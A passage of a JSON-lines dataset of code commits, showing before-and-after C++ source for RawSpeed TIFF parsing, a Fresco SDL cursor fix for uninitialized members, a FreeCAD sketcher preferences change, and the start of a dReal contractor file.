clashes.\r\n  if (!(type == TIFF_LONG || type == TIFF_UNDEFINED || type == TIFF_RATIONAL ||  type == TIFF_SRATIONAL))\r\n    ThrowTPE(\"TIFF, getIntArray: Wrong type 0x%x encountered. Expected Int\", type);\r\n  if (mDataSwapped)\r\n    return (unsigned int*)&data[0];\r\n\r\n  unsigned int* d = (unsigned int*) & data[0];\r\n  uint32 ncount = count * ((type == TIFF_RATIONAL ||  type == TIFF_SRATIONAL) ? 2 : 1);\r\n  for (uint32 i = 0; i < ncount; i++) {\r\n    d[i] = (unsigned int)data[i*4+0] << 24 | (unsigned int)data[i*4+1] << 16 | (unsigned int)data[i*4+2] << 8 | (unsigned int)data[i*4+3];\r\n  }\r\n  mDataSwapped = true;\r\n  return d;\r\n}\r\n\r\nconst unsigned short* TiffEntryBE::getShortArray() {\r\n  \/\/TODO: Make critical section to avoid clashes.\r\n  if (!(type == TIFF_SHORT || type == TIFF_UNDEFINED))\r\n    ThrowTPE(\"TIFF, getShortArray: Wrong type 0x%x encountered. Expected Short\", type);\r\n\r\n  if (mDataSwapped)\r\n    return (unsigned short*)&data[0];\r\n\r\n  unsigned short* d = (unsigned short*) & data[0];\r\n  for (uint32 i = 0; i < count; i++) {\r\n    d[i] = (unsigned short)data[i*2+0] << 8 | (unsigned short)data[i*2+1];\r\n  }\r\n  mDataSwapped = true;\r\n  return d;\r\n}\r\n\r\n} \/\/ namespace RawSpeed\r\n<|endoftext|>"}
{"text":"<commit_before>\/*$Id$\n *\n * This source file is a part of the Fresco Project.\n * Copyright (C) 2002 Tobias Hunger <tobias@fresco.org>\n * http:\/\/www.fresco.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n\n#include <Prague\/Sys\/Tracer.hh>\n#include \"Drawable.hh\"\n#include \"Extension.hh\"\n#include \"Pointer.hh\"\n\n\/\/ ---------------------------------------------------------------\n\/\/ class SDL::Pointer (implementation)\n\/\/ ---------------------------------------------------------------\n\nFresco::Raster_ptr SDL::Pointer::raster()\n{\n  Prague::Trace trace(\"SDL::Pointer::raster()\");\n\n  return Fresco::Raster::_duplicate(_raster);\n}\n\n\nbool SDL::Pointer::intersects(Fresco::Coord l, Fresco::Coord r,\n\t\t\t      Fresco::Coord t, Fresco::Coord b)\n{\n  Prague::Trace trace(\"SDL::Pointer::intersects(...)\");\n\n  return\n    l\/_scale[0] <= _position[0] + _size[0] &&\n    r\/_scale[0] >= _position[0] &&\n    t\/_scale[1] <= _position[1] + _size[1] &&\n    b\/_scale[1] >= _position[1];\n}\n\n\nvoid SDL::Pointer::move(Fresco::Coord x, Fresco::Coord y)\n{\n  Prague::Trace trace(\"SDL::Pointer::move(...)\");\n\n  restore();\n\n  \/\/ update position\n  _position[0] =\n    static_cast<Fresco::PixelCoord>\n    (std::max(static_cast<Fresco::PixelCoord>(x\/_scale[0]),\n\t      _origin[0]));\n  _position[1] =\n    static_cast<Fresco::PixelCoord>\n    (std::max(static_cast<Fresco::PixelCoord>(y\/_scale[1]),\n\t      _origin[1]));\n\n  save();\n  draw();\n}\n\n\n\n\n\n\/\/ ---------------------------------------------------------------\n\/\/ class SDL::nonGLPointer (implementation)\n\/\/ ---------------------------------------------------------------\n\nSDL::nonGLPointer::nonGLPointer(Drawable * drawable, Fresco::Raster_ptr raster) :\n  _screen(dynamic_cast<SDL::Drawable *>(drawable))\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::nonGLPointer(...)\");\n\n  \/\/ copy over the Raster:\n  _raster = Fresco::Raster::_duplicate(raster);\n\n  \/\/ Disable SDL default mousecursor\n  SDL_ShowCursor(0);\n\n  \/\/ Copy the raster over into the Drawable:\n  Fresco::Raster::Info info = raster->header();\n  Fresco::Raster::ColorSeq_var pixels;\n  Fresco::Raster::Index lower, upper;\n  lower.x = lower.y = 0;\n  upper.x = info.width, upper.y = info.height;\n  raster->store_pixels(lower, upper, pixels);\n  _origin[0] = _origin[1] = 0;\n  _size[0] = info.width;\n  _size[1] = info.height;\n  _scale[0] = 1.0\/_screen->resolution(Fresco::xaxis);\n  _scale[1] = 1.0\/_screen->resolution(Fresco::yaxis);\n\n  Fresco::Drawable::PixelFormat format = _screen->pixel_format();\n\n  unsigned depth =  format.size >> 3;\n  _cursor = new SDL::Drawable(\"mouse cursor\", _size[0], _size[1], 4);\n\n  Renderer * renderer = new SDL::Renderer();\n  renderer->attach(_cursor);\n\n  for (unsigned short y = 0; y != _size[1]; y++)\n    for (unsigned short x = 0; x != _size[0]; x++)\n      {\n        renderer->set_color(*(pixels->get_buffer() + y * info.width + x));\n\trenderer->draw_pixel(x, y);\n      }\n\n  \/\/ set up save_area\n  _saved_area = new SDL::Drawable(\"save area\", _size[0], _size[1], depth);\n\n  \/\/ set position\n  _position[0] = _position[1] = 8;\n  _old_x = _position[0] - _origin[0];\n  _old_y = _position[1] - _origin[1];\n\n  \/\/ set SDL_Alpha:\n  SDL_SetAlpha(_cursor->surface(), SDL_SRCALPHA, 128);\n}\n\n\nSDL::nonGLPointer::~nonGLPointer()\n{\n  restore();\n}\n\n\nvoid SDL::nonGLPointer::save()\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::save()\");\n\n  Fresco::PixelCoord x = _position[0] - _origin[0];\n  Fresco::PixelCoord y = _position[1] - _origin[1];\n  Fresco::PixelCoord size_x, size_y;\n  size_x = (_size[0] + x > _screen->width()) ? _screen->width()-x : _size[0];\n  size_y = (_size[1] + y > _screen->height()) ? _screen->height()-y : _size[1];\n  _saved_area->blit(*_screen, x, y, size_x, size_y, 0, 0);\n}\n\n\nvoid SDL::nonGLPointer::restore()\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::restore()\");\n\n  Fresco::PixelCoord x = _position[0] - _origin[0];\n  Fresco::PixelCoord y = _position[1] - _origin[1];\n  Fresco::PixelCoord size_x, size_y;\n  size_x = (_size[0] + x > _screen->width()) ? _screen->width()-x : _size[0];\n  size_y = (_size[1] + y > _screen->height()) ? _screen->height()-y : _size[1];\n  _screen->blit(*_saved_area, 0, 0, size_x, size_y, x, y);\n  _old_x = x;\n  _old_y = y;\n  _old_size_x = size_x;\n  _old_size_y = size_y;\n}\n\n\nvoid SDL::nonGLPointer::draw()\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::draw()\");\n\n  Fresco::PixelCoord x = _position[0] - _origin[0];\n  Fresco::PixelCoord y = _position[1] - _origin[1];\n  Fresco::PixelCoord size_x, size_y;\n  size_x = (_size[0] + x > _screen->width()) ? _screen->width()-x : _size[0];\n  size_y = (_size[1] + y > _screen->height()) ? _screen->height()-y : _size[1];\n  _screen->blit(*_cursor, 0, 0, size_x, size_y, x, y);\n  \/\/ flush the area we worked on:\n  Fresco::PixelCoord x1 = std::min(_old_x, x);\n  Fresco::PixelCoord y1 = std::min(_old_y, y);\n  Fresco::PixelCoord x2 = std::max(_old_x + _old_size_x, x + size_x);\n  Fresco::PixelCoord y2 = std::max(_old_y + _old_size_y, y + size_y);\n  _screen->flush(x1, y1, x2 - x1, y2 - y1);\n}\n\n<commit_msg>Fix uninitialized member variables when draw() is called before restore(). Thanks valgrind.<commit_after>\/*$Id$\n *\n * This source file is a part of the Fresco Project.\n * Copyright (C) 2002 Tobias Hunger <tobias@fresco.org>\n * http:\/\/www.fresco.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n\n#include <Prague\/Sys\/Tracer.hh>\n#include \"Drawable.hh\"\n#include \"Extension.hh\"\n#include \"Pointer.hh\"\n\n\/\/ ---------------------------------------------------------------\n\/\/ class SDL::Pointer (implementation)\n\/\/ ---------------------------------------------------------------\n\nFresco::Raster_ptr SDL::Pointer::raster()\n{\n  Prague::Trace trace(\"SDL::Pointer::raster()\");\n\n  return Fresco::Raster::_duplicate(_raster);\n}\n\n\nbool SDL::Pointer::intersects(Fresco::Coord l, Fresco::Coord r,\n\t\t\t      Fresco::Coord t, Fresco::Coord b)\n{\n  Prague::Trace trace(\"SDL::Pointer::intersects(...)\");\n\n  return\n    l\/_scale[0] <= _position[0] + _size[0] &&\n    r\/_scale[0] >= _position[0] &&\n    t\/_scale[1] <= _position[1] + _size[1] &&\n    b\/_scale[1] >= _position[1];\n}\n\n\nvoid SDL::Pointer::move(Fresco::Coord x, Fresco::Coord y)\n{\n  Prague::Trace trace(\"SDL::Pointer::move(...)\");\n\n  restore();\n\n  \/\/ update position\n  _position[0] =\n    static_cast<Fresco::PixelCoord>\n    (std::max(static_cast<Fresco::PixelCoord>(x\/_scale[0]),\n\t      _origin[0]));\n  _position[1] =\n    static_cast<Fresco::PixelCoord>\n    (std::max(static_cast<Fresco::PixelCoord>(y\/_scale[1]),\n\t      _origin[1]));\n\n  save();\n  draw();\n}\n\n\n\n\n\n\/\/ ---------------------------------------------------------------\n\/\/ class SDL::nonGLPointer (implementation)\n\/\/ ---------------------------------------------------------------\n\nSDL::nonGLPointer::nonGLPointer(Drawable * drawable, Fresco::Raster_ptr raster) :\n  _screen(dynamic_cast<SDL::Drawable *>(drawable))\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::nonGLPointer(...)\");\n\n  \/\/ copy over the Raster:\n  _raster = Fresco::Raster::_duplicate(raster);\n\n  \/\/ Disable SDL default mousecursor\n  SDL_ShowCursor(0);\n\n  \/\/ Copy the raster over into the Drawable:\n  Fresco::Raster::Info info = raster->header();\n  Fresco::Raster::ColorSeq_var pixels;\n  Fresco::Raster::Index lower, upper;\n  lower.x = lower.y = 0;\n  upper.x = info.width, upper.y = info.height;\n  raster->store_pixels(lower, upper, pixels);\n  _origin[0] = _origin[1] = 0;\n  _size[0] = info.width;\n  _size[1] = info.height;\n  _scale[0] = 1.0\/_screen->resolution(Fresco::xaxis);\n  _scale[1] = 1.0\/_screen->resolution(Fresco::yaxis);\n\n  Fresco::Drawable::PixelFormat format = _screen->pixel_format();\n\n  unsigned depth =  format.size >> 3;\n  _cursor = new SDL::Drawable(\"mouse cursor\", _size[0], _size[1], 4);\n\n  Renderer * renderer = new SDL::Renderer();\n  renderer->attach(_cursor);\n\n  for (unsigned short y = 0; y != _size[1]; y++)\n    for (unsigned short x = 0; x != _size[0]; x++)\n      {\n        renderer->set_color(*(pixels->get_buffer() + y * info.width + x));\n\trenderer->draw_pixel(x, y);\n      }\n\n  \/\/ set up save_area\n  _saved_area = new SDL::Drawable(\"save area\", _size[0], _size[1], depth);\n\n  \/\/ set position\n  _position[0] = _position[1] = 8;\n  _old_x = _position[0] - _origin[0];\n  _old_y = _position[1] - _origin[1];\n  _old_size_x = _size[0];\n  _old_size_y = _size[1];\n\n  \/\/ set SDL_Alpha:\n  SDL_SetAlpha(_cursor->surface(), SDL_SRCALPHA, 128);\n}\n\n\nSDL::nonGLPointer::~nonGLPointer()\n{\n  restore();\n}\n\n\nvoid SDL::nonGLPointer::save()\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::save()\");\n\n  Fresco::PixelCoord x = _position[0] - _origin[0];\n  Fresco::PixelCoord y = _position[1] - _origin[1];\n  Fresco::PixelCoord size_x, size_y;\n  size_x = (_size[0] + x > _screen->width()) ? _screen->width()-x : _size[0];\n  size_y = (_size[1] + y > _screen->height()) ? _screen->height()-y : _size[1];\n  _saved_area->blit(*_screen, x, y, size_x, size_y, 0, 0);\n}\n\n\nvoid SDL::nonGLPointer::restore()\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::restore()\");\n\n  Fresco::PixelCoord x = _position[0] - _origin[0];\n  Fresco::PixelCoord y = _position[1] - _origin[1];\n  Fresco::PixelCoord size_x, size_y;\n  size_x = (_size[0] + x > _screen->width()) ? _screen->width()-x : _size[0];\n  size_y = (_size[1] + y > _screen->height()) ? _screen->height()-y : _size[1];\n  _screen->blit(*_saved_area, 0, 0, size_x, size_y, x, y);\n  _old_x = x;\n  _old_y = y;\n  _old_size_x = size_x;\n  _old_size_y = size_y;\n}\n\n\nvoid SDL::nonGLPointer::draw()\n{\n  Prague::Trace trace(\"SDL::nonGLPointer::draw()\");\n\n  Fresco::PixelCoord x = _position[0] - _origin[0];\n  Fresco::PixelCoord y = _position[1] - _origin[1];\n  Fresco::PixelCoord size_x, size_y;\n  size_x = (_size[0] + x > _screen->width()) ? _screen->width()-x : _size[0];\n  size_y = (_size[1] + y > _screen->height()) ? _screen->height()-y : _size[1];\n  _screen->blit(*_cursor, 0, 0, size_x, size_y, x, y);\n  \/\/ flush the area we worked on:\n  Fresco::PixelCoord x1 = std::min(_old_x, x);\n  Fresco::PixelCoord y1 = std::min(_old_y, y);\n  Fresco::PixelCoord x2 = std::max(_old_x + _old_size_x, x + size_x);\n  Fresco::PixelCoord y2 = std::max(_old_y + _old_size_y, y + size_y);\n  _screen->flush(x1, y1, x2 - x1, y2 - y1);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\r\n *   Copyright (c) 2009 Jrgen Riegel <juergen.riegel@web.de>              *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n#endif\r\n\r\n#include \"ui_TaskSketcherGeneral.h\"\r\n#include \"TaskSketcherGeneral.h\"\r\n#include <Gui\/Application.h>\r\n#include <Gui\/Document.h>\r\n#include <Gui\/BitmapFactory.h>\r\n#include <Gui\/ViewProvider.h>\r\n#include <Gui\/WaitCursor.h>\r\n#include <Base\/UnitsApi.h>\r\n\r\n#include \"ViewProviderSketch.h\"\r\n\r\nusing namespace SketcherGui;\r\nusing namespace Gui::TaskView;\r\n\r\nTaskSketcherGeneral::TaskSketcherGeneral(ViewProviderSketch *sketchView)\r\n    : TaskBox(Gui::BitmapFactory().pixmap(\"document-new\"),tr(\"Edit controls\"),true, 0)\r\n    , sketchView(sketchView)\r\n{\r\n    \/\/ we need a separate container widget to add all controls to\r\n    proxy = new QWidget(this);\r\n    ui = new Ui_TaskSketcherGeneral();\r\n    ui->setupUi(proxy);\r\n    QMetaObject::connectSlotsByName(this);\r\n\r\n    this->groupLayout()->addWidget(proxy);\r\n\r\n    \/\/ connecting the needed signals\r\n    QObject::connect(\r\n        ui->checkBoxShowGrid, SIGNAL(toggled(bool)),\r\n        this           , SLOT(toggleGridView(bool))\r\n        );\r\n    QObject::connect(\r\n        ui->checkBoxGridSnap, SIGNAL(stateChanged(int)),\r\n        this              , SLOT  (toggleGridSnap(int))\r\n       );\r\n\r\n    QObject::connect(\r\n        ui->comboBoxGridSize, SIGNAL(currentIndexChanged(QString)),\r\n        this              , SLOT  (setGridSize(QString))\r\n       );\r\n\r\n    QObject::connect(\r\n        ui->checkBoxAutoconstraints, SIGNAL(stateChanged(int)),\r\n        this              , SLOT  (toggleAutoconstraints(int))\r\n       );\r\n    \r\n    Gui::Selection().Attach(this);\r\n\r\n    Base::Reference<ParameterGrp> hGrp = App::GetApplication().GetUserParameter()\r\n        .GetGroup(\"BaseApp\")->GetGroup(\"Preferences\")->GetGroup(\"Mod\/Sketcher\/General\");\r\n    ui->checkBoxShowGrid->setChecked(hGrp->GetBool(\"ShowGrid\", true));\r\n}\r\n\r\nTaskSketcherGeneral::~TaskSketcherGeneral()\r\n{\r\n    Base::Reference<ParameterGrp> hGrp = App::GetApplication().GetUserParameter()\r\n        .GetGroup(\"BaseApp\")->GetGroup(\"Preferences\")->GetGroup(\"Mod\/Sketcher\/General\");\r\n    hGrp->SetBool(\"ShowGrid\", ui->checkBoxShowGrid->isChecked());\r\n    delete ui;\r\n    Gui::Selection().Detach(this);\r\n}\r\n\r\nvoid TaskSketcherGeneral::toggleGridView(bool on)\r\n{\r\n    ui->label->setEnabled(on);\r\n    ui->comboBoxGridSize->setEnabled(on);\r\n    ui->checkBoxGridSnap->setEnabled(on);\r\n    sketchView->ShowGrid.setValue(on);\r\n}\r\n\r\nvoid TaskSketcherGeneral::setGridSize(const QString& val)\r\n{\r\n    float gridSize = (float) Base::UnitsApi::translateUnit(val);\r\n    if (gridSize > 0)\r\n        sketchView->GridSize.setValue(gridSize);\r\n}\r\n\r\nvoid TaskSketcherGeneral::toggleGridSnap(int state)\r\n{\r\n    setGridSize(ui->comboBoxGridSize->currentText()); \/\/ Ensure consistency\r\n    sketchView->GridSnap.setValue(state == Qt::Checked);\r\n}\r\n\r\nvoid TaskSketcherGeneral::toggleAutoconstraints(int state)\r\n{\r\n    sketchView->Autoconstraints.setValue(state == Qt::Checked);\r\n}\r\n\r\nvoid TaskSketcherGeneral::changeEvent(QEvent *e)\r\n{\r\n    TaskBox::changeEvent(e);\r\n    if (e->type() == QEvent::LanguageChange) {\r\n        ui->retranslateUi(proxy);\r\n    }\r\n}\r\n\r\n\/\/\/ @cond DOXERR\r\nvoid TaskSketcherGeneral::OnChange(Gui::SelectionSingleton::SubjectType &rCaller,\r\n                              Gui::SelectionSingleton::MessageType Reason)\r\n{\r\n    \/\/if (Reason.Type == SelectionChanges::AddSelection ||\r\n    \/\/    Reason.Type == SelectionChanges::RmvSelection ||\r\n    \/\/    Reason.Type == SelectionChanges::SetSelection ||\r\n    \/\/    Reason.Type == SelectionChanges::ClrSelection) {\r\n    \/\/}\r\n}\r\n\/\/\/ @endcond DOXERR\r\n\r\n#include \"moc_TaskSketcherGeneral.cpp\"\r\n<commit_msg>0001245: Wrong grid size shown in task dialog<commit_after>\/***************************************************************************\r\n *   Copyright (c) 2009 Jrgen Riegel <juergen.riegel@web.de>              *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n#endif\r\n\r\n#include \"ui_TaskSketcherGeneral.h\"\r\n#include \"TaskSketcherGeneral.h\"\r\n#include <Gui\/Application.h>\r\n#include <Gui\/Document.h>\r\n#include <Gui\/BitmapFactory.h>\r\n#include <Gui\/ViewProvider.h>\r\n#include <Gui\/WaitCursor.h>\r\n#include <Base\/UnitsApi.h>\r\n\r\n#include \"ViewProviderSketch.h\"\r\n\r\nusing namespace SketcherGui;\r\nusing namespace Gui::TaskView;\r\n\r\nTaskSketcherGeneral::TaskSketcherGeneral(ViewProviderSketch *sketchView)\r\n    : TaskBox(Gui::BitmapFactory().pixmap(\"document-new\"),tr(\"Edit controls\"),true, 0)\r\n    , sketchView(sketchView)\r\n{\r\n    \/\/ we need a separate container widget to add all controls to\r\n    proxy = new QWidget(this);\r\n    ui = new Ui_TaskSketcherGeneral();\r\n    ui->setupUi(proxy);\r\n    QMetaObject::connectSlotsByName(this);\r\n\r\n    this->groupLayout()->addWidget(proxy);\r\n\r\n    \/\/ connecting the needed signals\r\n    QObject::connect(\r\n        ui->checkBoxShowGrid, SIGNAL(toggled(bool)),\r\n        this           , SLOT(toggleGridView(bool))\r\n        );\r\n    QObject::connect(\r\n        ui->checkBoxGridSnap, SIGNAL(stateChanged(int)),\r\n        this              , SLOT  (toggleGridSnap(int))\r\n       );\r\n\r\n    QObject::connect(\r\n        ui->comboBoxGridSize, SIGNAL(currentIndexChanged(QString)),\r\n        this              , SLOT  (setGridSize(QString))\r\n       );\r\n\r\n    QObject::connect(\r\n        ui->checkBoxAutoconstraints, SIGNAL(stateChanged(int)),\r\n        this              , SLOT  (toggleAutoconstraints(int))\r\n       );\r\n    \r\n    Gui::Selection().Attach(this);\r\n\r\n    Base::Reference<ParameterGrp> hGrp = App::GetApplication().GetUserParameter()\r\n        .GetGroup(\"BaseApp\")->GetGroup(\"Preferences\")->GetGroup(\"Mod\/Sketcher\/General\");\r\n    ui->checkBoxShowGrid->setChecked(hGrp->GetBool(\"ShowGrid\", true));\r\n\r\n    QString size = ui->comboBoxGridSize->currentText();\r\n    size = QString::fromAscii(hGrp->GetASCII(\"GridSize\", (const char*)size.toAscii()).c_str());\r\n    ui->comboBoxGridSize->setCurrentIndex(ui->comboBoxGridSize->findText(size));\r\n\r\n    ui->checkBoxGridSnap->setChecked(hGrp->GetBool(\"GridSnap\", ui->checkBoxGridSnap->isChecked()));\r\n    ui->checkBoxAutoconstraints->setChecked(hGrp->GetBool(\"AutoConstraints\", ui->checkBoxAutoconstraints->isChecked()));\r\n}\r\n\r\nTaskSketcherGeneral::~TaskSketcherGeneral()\r\n{\r\n    Base::Reference<ParameterGrp> hGrp = App::GetApplication().GetUserParameter()\r\n        .GetGroup(\"BaseApp\")->GetGroup(\"Preferences\")->GetGroup(\"Mod\/Sketcher\/General\");\r\n    hGrp->SetBool(\"ShowGrid\", ui->checkBoxShowGrid->isChecked());\r\n\r\n    QString size = ui->comboBoxGridSize->currentText();\r\n    hGrp->SetASCII(\"GridSize\", (const char*)size.toAscii());\r\n\r\n    hGrp->SetBool(\"GridSnap\", ui->checkBoxGridSnap->isChecked());\r\n    hGrp->SetBool(\"AutoConstraints\", ui->checkBoxAutoconstraints->isChecked());\r\n\r\n    delete ui;\r\n    Gui::Selection().Detach(this);\r\n}\r\n\r\nvoid TaskSketcherGeneral::toggleGridView(bool on)\r\n{\r\n    ui->label->setEnabled(on);\r\n    ui->comboBoxGridSize->setEnabled(on);\r\n    ui->checkBoxGridSnap->setEnabled(on);\r\n    sketchView->ShowGrid.setValue(on);\r\n}\r\n\r\nvoid TaskSketcherGeneral::setGridSize(const QString& val)\r\n{\r\n    float gridSize = (float) Base::UnitsApi::translateUnit(val);\r\n    if (gridSize > 0)\r\n        sketchView->GridSize.setValue(gridSize);\r\n}\r\n\r\nvoid TaskSketcherGeneral::toggleGridSnap(int state)\r\n{\r\n    setGridSize(ui->comboBoxGridSize->currentText()); \/\/ Ensure consistency\r\n    sketchView->GridSnap.setValue(state == Qt::Checked);\r\n}\r\n\r\nvoid TaskSketcherGeneral::toggleAutoconstraints(int state)\r\n{\r\n    sketchView->Autoconstraints.setValue(state == Qt::Checked);\r\n}\r\n\r\nvoid TaskSketcherGeneral::changeEvent(QEvent *e)\r\n{\r\n    TaskBox::changeEvent(e);\r\n    if (e->type() == QEvent::LanguageChange) {\r\n        ui->retranslateUi(proxy);\r\n    }\r\n}\r\n\r\n\/\/\/ @cond DOXERR\r\nvoid TaskSketcherGeneral::OnChange(Gui::SelectionSingleton::SubjectType &rCaller,\r\n                              Gui::SelectionSingleton::MessageType Reason)\r\n{\r\n    \/\/if (Reason.Type == SelectionChanges::AddSelection ||\r\n    \/\/    Reason.Type == SelectionChanges::RmvSelection ||\r\n    \/\/    Reason.Type == SelectionChanges::SetSelection ||\r\n    \/\/    Reason.Type == SelectionChanges::ClrSelection) {\r\n    \/\/}\r\n}\r\n\/\/\/ @endcond DOXERR\r\n\r\n#include \"moc_TaskSketcherGeneral.cpp\"\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"dreal\/contractor\/contractor_status.h\"\n\n#include <utility>\n\n#include \"dreal\/util\/assert.h\"\n#include \"dreal\/util\/logging.h\"\n\nusing std::move;\nusing std::unordered_set;\nusing std::vector;\n\nnamespace dreal {\n\nContractorStatus::ContractorStatus(Box box, const int branching_point)\n    : box_{move(box)},\n      branching_point_{branching_point},\n      output_{ibex::BitSet::empty(box_.size())} {\n  DREAL_ASSERT(!box_.empty());\n  DREAL_ASSERT(branching_point_ >= -1 && branching_point_ < box_.size());\n}\n\nconst Box& ContractorStatus::box() const { return box_; }\n\nBox& ContractorStatus::mutable_box() { return box_; }\n\nint ContractorStatus::branching_point() const { return branching_point_; }\n\nint& ContractorStatus::mutable_branching_point() { return branching_point_; }\n\nconst ibex::BitSet& ContractorStatus::output() const { return output_; }\n\nibex::BitSet& ContractorStatus::mutable_output() { return output_; }\n\nvoid ContractorStatus::AddUsedConstraint(const Formula& f) {\n  DREAL_LOG_DEBUG(\"ContractorStatus::AddUsedConstraint({}) box is empty? {}\", f,\n                  box_.empty());\n  if (box_.empty()) {\n    for (const Variable& v : f.GetFreeVariables()) {\n      AddUnsatWitness(v);\n    }\n  }\n  used_constraints_.insert(f);\n}\n\nvoid ContractorStatus::AddUsedConstraint(const vector<Formula>& formulas) {\n  for (const Formula& f : formulas) {\n    AddUsedConstraint(f);\n  }\n}\n\nvoid ContractorStatus::AddUnsatWitness(const Variable& var) {\n  DREAL_LOG_DEBUG(\"ContractorStatus::AddUnsatWitness({})\", var);\n  unsat_witness_.insert(var);\n}\n\nunordered_set<Formula, hash_value<Formula>> GenerateExplanation(\n    const Variables& unsat_witness,\n    const unordered_set<Formula, hash_value<Formula>>& used_constraints) {\n  if (unsat_witness.empty()) {\n    return {};\n  }\n  \/\/ Set up the initial explanation based on variables.\n  unordered_set<Formula, hash_value<Formula>> explanation;\n  for (const Formula& f_i : used_constraints) {\n    if (HaveIntersection(unsat_witness, f_i.GetFreeVariables())) {\n      explanation.insert(f_i);\n    }\n  }\n\n  bool keep_going = true;\n  while (keep_going) {\n    keep_going = false;\n    for (const Formula& f_i : explanation) {\n      const Variables variables_in_f_i{f_i.GetFreeVariables()};\n      for (const Formula& f_j : used_constraints) {\n        if (explanation.count(f_j) > 0) {\n          continue;\n        }\n        if (HaveIntersection(variables_in_f_i, f_j.GetFreeVariables())) {\n          explanation.insert(f_j);\n          keep_going = true;\n        }\n      }\n    }\n  }\n  return explanation;\n}\n\nunordered_set<Formula, hash_value<Formula>> ContractorStatus::Explanation()\n    const {\n  return GenerateExplanation(unsat_witness_, used_constraints_);\n}\n\nContractorStatus& ContractorStatus::InplaceJoin(\n    const ContractorStatus& contractor_status) {\n  box_.InplaceUnion(contractor_status.box());\n  output_ |= contractor_status.output();\n  unsat_witness_.insert(contractor_status.unsat_witness_.begin(),\n                        contractor_status.unsat_witness_.end());\n  used_constraints_.insert(contractor_status.used_constraints_.begin(),\n                           contractor_status.used_constraints_.end());\n  return *this;\n}\n\nContractorStatus Join(ContractorStatus contractor_status1,\n                      const ContractorStatus& contractor_status2) {\n  \/\/ This function updates `contractor_status1`, which is passed by value, and\n  \/\/ returns it.\n  return contractor_status1.InplaceJoin(contractor_status2);\n}\n\n}  \/\/ namespace dreal\n<commit_msg>fix(contractor\/contractor_status.cc): Compiler error<commit_after>#include \"dreal\/contractor\/contractor_status.h\"\n\n#include <utility>\n\n#include \"dreal\/util\/assert.h\"\n#include \"dreal\/util\/logging.h\"\n\nusing std::move;\nusing std::unordered_set;\nusing std::vector;\n\nnamespace dreal {\n\nContractorStatus::ContractorStatus(Box box, const int branching_point)\n    : box_{move(box)},\n      branching_point_{branching_point},\n      output_{ibex::BitSet::empty(box_.size())} {\n  DREAL_ASSERT(!box_.empty());\n  DREAL_ASSERT(branching_point_ >= -1 && branching_point_ < box_.size());\n}\n\nconst Box& ContractorStatus::box() const { return box_; }\n\nBox& ContractorStatus::mutable_box() { return box_; }\n\nint ContractorStatus::branching_point() const { return branching_point_; }\n\nint& ContractorStatus::mutable_branching_point() { return branching_point_; }\n\nconst ibex::BitSet& ContractorStatus::output() const { return output_; }\n\nibex::BitSet& ContractorStatus::mutable_output() { return output_; }\n\nvoid ContractorStatus::AddUsedConstraint(const Formula& f) {\n  DREAL_LOG_DEBUG(\"ContractorStatus::AddUsedConstraint({}) box is empty? {}\", f,\n                  box_.empty());\n  if (box_.empty()) {\n    for (const Variable& v : f.GetFreeVariables()) {\n      AddUnsatWitness(v);\n    }\n  }\n  used_constraints_.insert(f);\n}\n\nvoid 